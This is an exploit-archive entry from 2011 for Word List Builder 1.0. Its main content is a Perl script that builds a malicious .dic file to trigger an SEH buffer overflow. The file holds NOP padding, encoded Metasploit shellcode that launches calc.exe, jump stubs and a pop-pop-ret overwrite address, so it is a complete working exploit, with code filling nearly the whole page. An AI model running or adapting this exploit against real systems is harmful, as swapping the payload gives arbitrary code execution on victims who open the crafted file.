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Word List Builder 1.0 Buffer Overflow

Word List Builder 1.0 Buffer Overflow
Posted Apr 2, 2011
Authored by h1ch4m

Word List Builder version 1.0 buffer overflow exploit that spawns calc.exe.

tags | exploit, overflow
SHA-256 | 65a28145373fd9b1beb9f5c5ffd6724cdd3c177e768b92f92ff0b2cccd9f1e6d

Word List Builder 1.0 Buffer Overflow

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# Exploit Title: Word List Builder Buffer Overflow Exploit(SEH)
# Software Link: http://download.cnet.com/Word-List-Builder/3000-18541_4-10398336.html
# Version: 1.0
# triggering details : open .dic file
# Tested on: Win XP SP3 French
# Date: 31/03/2011
# Author: h1ch4m (Hicham Oumounid)
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com

my $file = "exploit.dic";

my $size = 4108;

# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xda\xdd\xbf\xb0\x1a\x64\x4f\xd9\x74\x24\xf4\x58\x31\xc9" .
"\xb1\x32\x31\x78\x17\x83\xc0\x04\x03\xc8\x09\x86\xba\xd4" .
"\xc6\xcf\x45\x24\x17\xb0\xcc\xc1\x26\xe2\xab\x82\x1b\x32" .
"\xbf\xc6\x97\xb9\xed\xf2\x2c\xcf\x39\xf5\x85\x7a\x1c\x38" .
"\x15\x4b\xa0\x96\xd5\xcd\x5c\xe4\x09\x2e\x5c\x27\x5c\x2f" .
"\x99\x55\xaf\x7d\x72\x12\x02\x92\xf7\x66\x9f\x93\xd7\xed" .
"\x9f\xeb\x52\x31\x6b\x46\x5c\x61\xc4\xdd\x16\x99\x6e\xb9" .
"\x86\x98\xa3\xd9\xfb\xd3\xc8\x2a\x8f\xe2\x18\x63\x70\xd5" .
"\x64\x28\x4f\xda\x68\x30\x97\xdc\x92\x47\xe3\x1f\x2e\x50" .
"\x30\x62\xf4\xd5\xa5\xc4\x7f\x4d\x0e\xf5\xac\x08\xc5\xf9" .
"\x19\x5e\x81\x1d\x9f\xb3\xb9\x19\x14\x32\x6e\xa8\x6e\x11" .
"\xaa\xf1\x35\x38\xeb\x5f\x9b\x45\xeb\x07\x44\xe0\x67\xa5" .
"\x91\x92\x25\xa3\x64\x16\x50\x8a\x67\x28\x5b\xbc\x0f\x19" .
"\xd0\x53\x57\xa6\x33\x10\xa9\x57\x8e\x8c\x3e\xce\x7b\xed" .
"\x22\xf1\x51\x31\x5b\x72\x50\xc9\x98\x6a\x11\xcc\xe5\x2c" .
"\xc9\xbc\x76\xd9\xed\x13\x76\xc8\x8d\xf2\xe4\x90\x51";

my $jump = "\xe9\x1c\xff\xff\xff"; # jump back 228 bytes

my $nseh = "\xeb\xf9\xff\xff"; # jump back 7 bytes
my $seh = pack('V', 0x00402AAF); # pop eax - pop edx - ret [word_builder.exe]

my $junk = "\x90" x ($size-length($shellcode.$jump));

open($FILE,">$file");
print $FILE $junk.$shellcode.$jump.$nseh.$seh;
close($FILE);
print "Files Created successfully\n";
sleep(1);

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